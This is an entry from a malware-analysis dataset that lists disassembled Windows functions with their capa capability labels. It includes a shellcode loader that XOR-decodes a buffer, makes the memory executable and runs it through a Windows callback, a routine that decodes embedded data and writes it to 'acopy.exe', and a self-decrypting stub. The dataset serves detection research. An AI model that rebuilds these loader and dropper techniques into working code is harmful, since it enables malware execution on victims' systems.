joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Encrypt data using rc4 prga
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x740
lea rdx, [rsp + 0x3c0]
mov ecx, 6
lea rax, [0x1400564b0]
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x1400010a0
movups xmm0, xmmword [rax]
mov rcx, qword [rax + 0x70]
mov rbx, 0xffffffffffffffff
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rcx
mov ecx, dword [rax + 0x78]
movups xmm0, xmmword [str.xiaodisec_SESE_666]
mov dword [rdx + 0x78], ecx
movzx ecx, word [rax + 0x7c]
mov word [rdx + 0x7c], cx
movzx ecx, byte [rax + 0x7e]
mov eax, dword [0x140056840]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x20]
mov byte [rdx + 0x7e], cl
movups xmmword [rsp + 0x20], xmm0
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001170
xor edi, edi
xor esi, esi
nop dword [rax]
mov eax, edi
cdq
idiv ebx
movsxd rax, edx
movzx ecx, byte [rsp + rax + 0x20]
xor cl, byte [rsp + rsi + 0x3c0]
movzx edx, cl
lea rcx, str.x_x
mov byte [rsp + rsi + 0x40], dl
call fcn.140001010
inc edi
lea rsi, [rsi + 1]
cmp edi, 0x37f
jb 0x140001180
lea r9, [rsp + 0x750]
mov dword [rsp + 0x750], 0
mov edx, 0x37f
lea rcx, [rsp + 0x40]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
lea r11, [rsp + 0x740]
xor eax, eax
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001320
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400017a0
movzx eax, al
test eax, eax
jne 0x140001340
mov ecx, 7
call fcn.140001d40
nop
mov byte [rsp + 0x20], 0
call fcn.140001730
mov byte [rsp + 0x21], al
cmp dword [0x140059b70], 1
jne 0x140001364
mov ecx, 7
call fcn.140001d40
nop
jmp 0x1400013bc
cmp dword [0x140059b70], 0
jne 0x1400013b7
mov dword [0x140059b70], 1
lea rdx, [0x140044310]
lea rcx, [0x1400442d8]
call fcn.140019160
test eax, eax
je 0x140001398
mov eax, 0xff
jmp 0x1400014c1
lea rdx, [0x1400442d0]
lea rcx, [0x1400442c0]
call fcn.1400190f0
mov dword [0x140059b70], 2
jmp 0x1400013bc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140001990
call fcn.140001d10
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140001419
mov rcx, qword [rsp + 0x30]
call fcn.140001900
movzx eax, al
test eax, eax
je 0x140001419
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140044298]
nop
call fcn.140001d20
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14000144d
mov rcx, qword [rsp + 0x38]
call fcn.140001900
movzx eax, al
test eax, eax
je 0x14000144d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140019890
nop
call fcn.140001500
mov dword [rsp + 0x28], eax
call fcn.140001ef0
movzx eax, al
test eax, eax
jne 0x14000146c
mov ecx, dword [rsp + 0x28]
call fcn.1400198e0
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14000147b
call fcn.140019850
nop
xor edx, edx
mov cl, 1
call fcn.1400019c0
mov eax, dword [rsp + 0x28]
jmp 0x1400014c1
add rsp, 0x68
ret

Function at 0x1400040b0
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140003b90
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400040ef
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140044298]
jmp 0x1400040f9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1400282b0
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x14002ba10
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140003060
lea rcx, [rsp + 0x40]
call fcn.14002b9d0
movzx eax, al
test eax, eax
jne 0x14002ba58
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.14002b900
mov rax, qword [rsp + 0x70]
jmp 0x14002bc29
lea rcx, [rsp + 0x40]
call fcn.1400030e0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.14002b980
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1400030e0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14002b7d0
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14002bafe
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.14002b900
mov rax, qword [rsp + 0x80]
jmp 0x14002bc29
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.14001d8c0
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140003060
lea rcx, [rsp + 0x48]
call fcn.1400030a0
movzx eax, al
test eax, eax
jne 0x14002bb65
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.140003080
lea rcx, [rsp + 0x40]
call fcn.14002b900
mov rax, qword [rsp + 0x88]
jmp 0x14002bc29
lea rcx, [rsp + 0x48]
call fcn.1400030e0
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1400030e0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14002b7d0
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14002bbfb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.140003080
lea rcx, [rsp + 0x40]
call fcn.14002b900
mov rax, qword [rsp + 0xa0]
jmp 0x14002bc29
lea rcx, [rsp + 0x48]
call fcn.140003640
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.140003080
lea rcx, [rsp + 0x40]
call fcn.14002b900
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x140032700
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140041e10
sub rsp, rax
mov rax, qword [0x140059040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14005acd0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400328f2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140032846
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140032846
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14003282b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1400327c8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400328b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140032911
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1400328ed
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140032911
jmp 0x14003279e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140002800
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140032930
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140041e10
sub rsp, rax
mov rax, qword [0x140059040]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14005acd0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140032b3d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140032a89
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140032a89
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x140032a69
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1400329f8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140032afd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140032b5c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x140032b38
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140032b5c
jmp 0x1400329ce
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.140002800
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140039b00
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.1400291a0
lea rcx, [rsp + 0x48]
call fcn.1400291a0
call fcn.140029450
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.140028690
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x140039b6f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.140029260
lea rcx, [rsp + 0x78]
call fcn.140029260
mov eax, dword [rsp + 0x24]
jmp 0x140039c00
call fcn.140029450
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.140028690
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x140039bb6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.140029260
lea rcx, [rsp + 0x78]
call fcn.140029260
mov eax, dword [rsp + 0x2c]
jmp 0x140039c00
lea rcx, [rsp + 0x48]
call fcn.1400297b0
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400297b0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.140029260
lea rcx, [rsp + 0x78]
call fcn.140029260
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x14000286c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400028b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400028b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400028b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400028b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400028b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400028b8
xor al, al
add rsp, 0x28
ret
Function at 0x140001451
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call fcn.14000159e
mov dword [rbp - 0x18], 0x6a683471
mov dword [rbp - 4], 0
jmp 0x1400014b4
mov dword [rbp - 8], 0
jmp 0x1400014aa
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x140006020]
movzx eax, byte [rax + rdx]
mov edx, eax
mov eax, dword [rbp - 8]
cdqe
movzx eax, byte [rbp + rax - 0x18]
xor eax, edx
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x140006020]
mov byte [rax + rdx], cl
add dword [rbp - 8], 1
cmp dword [rbp - 8], 3
jle 0x140001477
add dword [rbp - 4], 1
mov eax, dword [0x1401e0820]
cmp dword [rbp - 4], eax
jl 0x14000146e
lea rax, section..rdata
mov rdx, rax
lea rax, str.acopy.exe
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
mov eax, dword [0x1401e0820]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9, rdx
mov r8, rax
mov edx, 1
lea rax, [0x140006020]
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov eax, dword [rbp - 0x14]
mov edx, eax
lea rax, str.Written__d_bytes_n
mov rcx, rax
call fcn.140001400
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x1400017a5
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1401e40b8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1401e40b4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400017f3
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400017eb
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400018dc
inc ebx
add rax, 0x28
jmp 0x1400017cb
mov rcx, r12
call fcn.140002015
mov rbp, rax
test rax, rax
jne 0x140001812
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001740
movsxd rbx, ebx
mov rax, qword [0x1401e40b8]
imul rbx, rbx, 0x28
add rax, rbx
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.1400020c5
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1401e40b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140001876
mov rax, qword [0x1401e40b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001740
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018d6
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400018d6
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1401e40b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018d6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001740
inc dword [0x1401e40b4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001d30
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x20
lea r13, [0x1401e4120]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1401e4100]
test rbx, rbx
je 0x140001d7e
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140001d78
test r12, r12
je 0x140001d78
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001d50
mov rcx, r13
add rsp, 0x20
pop rbx
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140001f40
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140001f63
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001f63
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140001f64
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r9d, r8d
jbe 0x140001f9e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp r10, rdx
ja 0x140001f95
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140001fa0
inc r8d
add rax, 0x28
jmp 0x140001f7c
xor eax, eax
ret

Function at 0x140002015
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1401e1700]
mov r8, rcx
mov rcx, r9
call fcn.140001f40
test eax, eax
je 0x140002041
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140001f64
xor eax, eax
add rsp, 0x28
ret
Function at 0x140f7abb4
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f7abbe
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f7abe7
pop rbp
sub rbp, 0x33
sub rbp, 0xf7abb4
sub rsp, 0x20
jmp 0x140f7ac06
mov rax, 0xf7abb4
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x4f643c4c
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f7ac25
jmp 0x140f7ac3c
add al, 0xc5
movsd dword [rdi], dword [rsi]
mov ebp, 0x4c4c4c70
add al, 0xcd
lea eax, [rbp + rcx*2 + 0x4c]
add al, 0x4d
movsd dword [rdi], dword [rsi]
add al, 0x8b
mov word [rsp + rcx*2 + 0x4c], es
add al, 0x8b
mov fs, word [rsp + rcx*2 + 0x4c]
add al, 0xbb
scasb al, byte [rdi]
add al, 0x4d
invalid
Function at 0x14000b390
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push rdi
sub rsp, 0x50
mov rax, qword [0x1400d9080]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor eax, eax
movsxd r10, edx
mov r8, rcx
mov r9d, edx
mov ecx, 0x40
lea rdi, [rsp]
rep stosb byte [rdi], al
mov rdi, r10
lea rax, [rsp]
shr rdi, 3
test rdi, rdi
je 0x14000b3e4
nop dword [rax + rax]
mov rcx, qword [r8]
add r8, 8
mov qword [rax], rcx
add rax, 8
sub rdi, 1
jne 0x14000b3d0
mov rdx, r10
and edx, 7
je 0x14000b404
nop dword [rax]
movzx ecx, byte [r8]
lea r8, [r8 + 1]
mov byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x14000b3f0
xor r8d, r8d
test r9d, r9d
jle 0x14000b429
mov edx, r8d
nop
movzx ecx, byte [rsp + rdx]
lea eax, [rcx - 0x41]
cmp al, 0x19
ja 0x14000b421
add cl, 0x20
mov byte [rsp + rdx], cl
inc rdx
cmp rdx, r10
jl 0x14000b410
lea rdx, [rsp]
mov r11d, r9d
mov r10d, 0xb801fcda
cmp r9d, 4
jl 0x14000b477
mov rdi, r9
shr rdi, 2
mov eax, edi
neg eax
lea r9d, [r9 + rax*4]
nop dword [rax + rax]
imul eax, dword [rdx], 0x5bd1e995
add rdx, 4
imul r10d, r10d, 0x5bd1e995
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
imul ecx, ecx, 0x5bd1e995
xor r10d, ecx
sub rdi, 1
jne 0x14000b450
sub r9d, 1
je 0x14000b49c
sub r9d, 1
je 0x14000b492
cmp r9d, 1
jne 0x14000b4a2
movzx r8d, byte [rdx + 2]
shl r8d, 0x10
movzx eax, byte [rdx + 1]
shl eax, 8
xor r8d, eax
movzx eax, byte [rdx]
xor r8d, eax
imul ecx, r8d, 0x5bd1e995
imul edi, r11d, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
imul eax, r10d, 0x5bd1e995
xor ecx, eax
mov eax, edi
shr eax, 0x18
xor eax, edi
imul edx, ecx, 0x5bd1e995
imul eax, eax, 0x5bd1e995
xor edx, eax
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14007e7e0
add rsp, 0x50
pop rdi
ret
Function at 0x140041e40
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140041ea1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140041e60
mov ecx, dword [r9]
jmp 0x140041f8b
cmp ecx, 0x4e0
jb 0x140041f8b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140041ec0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
